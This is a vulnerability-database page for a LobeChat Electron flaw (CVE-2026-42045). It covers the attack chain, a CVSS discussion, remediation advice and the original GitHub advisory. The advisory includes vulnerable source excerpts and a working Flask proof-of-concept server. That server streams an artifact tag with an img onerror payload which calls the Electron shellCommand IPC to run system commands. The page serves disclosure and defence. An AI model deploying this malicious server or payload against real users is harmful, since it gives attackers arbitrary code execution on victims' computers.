LobeChat CVE-2026-42045
MEDIUMAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAttacker hosts malicious LLM API
-
DeliveryVictim configures attacker's endpoint in LobeChat settings
-
ExploitVictim sends chat message
-
InstallAttacker's server injects malicious artifact tag with onerror payload
-
C2Renderer falls through to HTMLRenderer
-
ExecuteXSS payload executes in renderer process
-
ImpactJavaScript accesses window.parent.electronAPI
-
Step 8shellCommand.handleRunCommand invoked with system command
-
Step 9Electron main process spawns command
-
Step 10Arbitrary code executes at user privilege level
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The vulnerability requires a specific, but achievable, set of conditions: (1) The victim must use LobeChat's Electron desktop application (not web version, as the desktop app's IPC interface is required); (2) The victim must configure a custom LLM provider endpoint by navigating to Settings and adding an OpenAI-compatible API endpoint-this is an intentional feature, but the attacker socially engineers the victim or provides a seemingly legitimate provider; (3) The custom provider endpoint must be network-accessible from the victim's machine (typically achieved via HTTP on localhost or public internet); (4) The attacker's malicious LLM server must successfully inject a response containing an unrecognized artifact type tag (any type string other than 'application/lobe.artifacts.react', 'image/svg+xml', 'application/lobe.artifacts.mermaid', or 'text/markdown') with embedded JavaScript; (5) The victim must send at least one message in LobeChat that triggers the malicious LLM to respond. The vulnerability does NOT require: authentication to the malicious LLM server (the PoC demonstrates bypassing API key validation, though proper OpenAI-compatible endpoints may require keys, which are easily spoofed), user awareness or technical knowledge, any special LobeChat version settings, or interaction beyond normal chat usage. Non-default configurations are: any external LLM provider endpoint other than official providers. Default LobeChat installations with no custom provider configured are not vulnerable, as they typically connect to the official OpenAI API. |
| Impact | This vulnerability represents a critical real-world risk despite the CVSS 6.2 score, which significantly underestimates the actual impact due to scoring constraints. The CVSS vector (AV:N/AC:H/PR:H/UI:R/S:C) reflects network accessibility, high complexity, high privilege requirement (PR:H), and user interaction, but these factors are misleading in context. In reality, the 'high privilege' requirement refers to the user configuring an LLM provider (a low-skill action for the victim), and 'user interaction' is simply the victim using LobeChat normally-not a barrier. The 'high complexity' is disputed by working public proof-of-concept code that successfully executes arbitrary commands. The true attack surface is: unauthenticated remote attackers can serve malicious LLM API responses to any LobeChat user who points to their server, triggering automatic XSS and RCE. This is not a complex exploitation-it is a straightforward attack chain with no technical barriers once the provider is configured. EPSS and KEV data are absent from input, but the existence of a public PoC video demonstration and GitHub advisory confirms the vulnerability is weaponizable and likely to see exploitation. The patch status is ambiguous: v2.1.48 is listed as patched but the NPM package data states 'fixed in: None', suggesting the patch may not yet be published to NPM registry or its effectiveness is unconfirmed. Organizations running LobeChat in environments where users might be socially engineered to add external LLM providers face immediate RCE risk; organizations with strict API endpoint allowlisting are protected. |
| Exploit ScenarioDerived | An attacker sets up a malicious OpenAI-compatible API server (as demonstrated in the public PoC using Python Flask) and socially engineers or tricks a LobeChat user into configuring it as their LLM provider by claiming it offers free or faster access. When the victim starts a normal conversation, the attacker's server injects a crafted response containing a lobeArtifact tag with malicious JavaScript (e.g., an img tag with an onerror handler). The LobeChat renderer matches no known artifact type and falls through to HTMLRenderer, which renders the payload unsanitized. The JavaScript executes in the renderer process, obtains access to window.parent.electronAPI, and invokes shellCommand.handleRunCommand with an arbitrary system command (e.g., opening Calculator, installing malware, exfiltrating files). The command executes with the user's full privileges on the host system. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 05, 2026
Stored XSS in LobeChat's message rendering escalates to remote code execution via exposed Electron IPC when victims configure an attacker-controlled LLM provider endpoint. The vulnerability chains unfiltered HTML rendering with an unauthenticated shellCommand IPC handler that executes arbitrary system commands at user privilege level. Confirmed in versions up to 2.1.26; patch released in v2.1.48. Public proof-of-concept demonstrates opening arbitrary applications via malicious LLM API responses.
RemediationAI
Upgrade LobeChat to version 2.1.48 or later if available in your package distribution. Verify the patched version is installed via npm list @lobehub/lobehub. For users unable to immediately patch, implement the following compensating controls with their respective trade-offs: (1) Restrict LLM provider configuration to a hardcoded allowlist of official providers (e.g., OpenAI, Anthropic official endpoints only)-side effect is loss of flexibility for users who need custom LLM endpoints; (2) Disable the Electron app's IPC handler for shellCommand.handleRunCommand at the system level by modifying the application's preload script if source code access is available-side effect may disable legitimate features that depend on shell command execution; (3) Run LobeChat in a restricted user account with minimal file system and network permissions-side effect limits application functionality and requires additional system configuration. Monitor the official GitHub repository (https://github.com/lobehub/lobehub/releases) and NPM package for v2.1.48+ confirmation that it is released and fully addresses both XSS and IPC exposure.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
LobeChat is an Electron-based AI chat application that renders LLM responses through a custom rendering pipeline. The vulnerability involves two distinct components: First, the Renderer process in src/features/Portal/Artifacts/Body/Renderer/index.tsx uses a switch statement to handle artifact types; when the type parameter doesn't match known cases (react, svg, mermaid, markdown), it falls through to a default HTMLRenderer that directly renders untrusted content as HTML without sanitization. Second, the Electron main process exposes an IPC interface (shellCommand.handleRunCommand) that accepts a command parameter and spawns it via the system shell without input validation or filtering. The CWE-78 (OS Command Injection) root cause stems from the combination of unsanitized user input flowing from the XSS payload through the IPC boundary into a spawn() call. The attack vector leverages the Electron bridge (window.parent.electronAPI) which provides inter-process communication from the sandboxed renderer to the main process.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
DescriptionGitHub Advisory
Summary
The vulnerability was automatically discovered by an ai agent and then manually verified.
LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).
The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.
Details
When LobeChat processes custom tags in the Render process of src/features/Portal/Artifacts/Body/Renderer/index.tsx, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.
const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {
switch (type) {
case 'application/lobe.artifacts.react': {
return <ReactRenderer code={content} />;
}
case 'image/svg+xml': {
return <SVGRender content={content} />;
}
case 'application/lobe.artifacts.mermaid': {
return <Mermaid variant={'borderless'}>{content}</Mermaid>;
}
case 'text/markdown': {
return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;
}
default: {
return <HTMLRenderer htmlContent={content} />;
}
}
});
export default Renderer;If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.
Additionally, Lobechat's Electron main process exposes an IPC interface called runCommand, used to invoke system commands. This interface allows arbitrary command execution and does not filter the command parameter. Therefore, if an attacker can obtain a handle to window.parent.electronAPI via XSS and call the runCommand method of the IPC, the ipcMain process can execute arbitrary system commands with the current user's privileges.
@IpcMethod()
async handleRunCommand({
command,
description,
run_in_background,
timeout = 120_000,
}: RunCommandParams): Promise<RunCommandResult> {
...
const childProcess = spawn(shellConfig.cmd, shellConfig.args, {
env: process.env,
shell: false,
});
...
}PoC
The attacker launched a malicious OpenAI gateway on port 5001
from flask import Flask, Response, request, jsonify
import time
import json
app = Flask(__name__)
fake_api_key = "sk-test"
@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])
def chat_completions():
if request.method == 'OPTIONS':
return Response(status=200, headers={
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*'
})
# Check for API Key
auth_header = request.headers.get('Authorization')
print(auth_header)
if not auth_header or auth_header != f'Bearer {fake_api_key}':
return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401
def generate():
payload = """
<lobeArtifact type="nebula">
<img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'>
</lobeArtifact>
"""
# Split payload into chunks to simulate streaming
chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
for chunk in chunks:
data = {
"id": "chatcmpl-hpdoger-123",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "gpt-3.5-turbo",
"choices": [{
"index": 0,
"delta": {"content": chunk},
"finish_reason": None
}]
}
yield f"data: {json.dumps(data)}\n\n"
time.sleep(0.1)
# End of stream
final_data = {
"id": "chatcmpl-hpdoger-123",
"object": "chat.completion.chunk",
"created": int(time.time()),
"model": "gpt-3.5-turbo",
"choices": [{
"index": 0,
"delta": {},
"finish_reason": "stop"
}]
}
yield f"data: {json.dumps(final_data)}\n\n"
yield "data: [DONE]\n\n"
return Response(generate(), mimetype='text/event-stream', headers={
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Headers': '*'
})
@app.route('/v1/models', methods=['GET'])
def models():
return jsonify({
"object": "list",
"data": [{
"id": "gpt-3.5-turbo",
"object": "model",
"created": 1677610602,
"owned_by": "openai"
}]
})
if __name__ == '__main__':
print("Evil OpenAI-compatible server running on http://127.0.0.1:5001")
app.run(port=5001, debug=True)The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.
<img width="2048" height="772" alt="image" src="https://github.com/user-attachments/assets/86fe8f76-d75f-4e23-a2c5-fe29b124c7a7" />
The victim was exposed to an arbitrary command execution vulnerability while chatting
<img width="2048" height="1036" alt="image" src="https://github.com/user-attachments/assets/0a84171f-ec78-4166-b7ab-298ece6b06b9" />
reproduction
For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration opens a calculator in the victim's environment.
https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d
Impact
Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.
Patch
A patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Affected Products (CPE)GitHub Advisory
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
NVD
CVE.org
EPSS
GitHub
Exploit-DB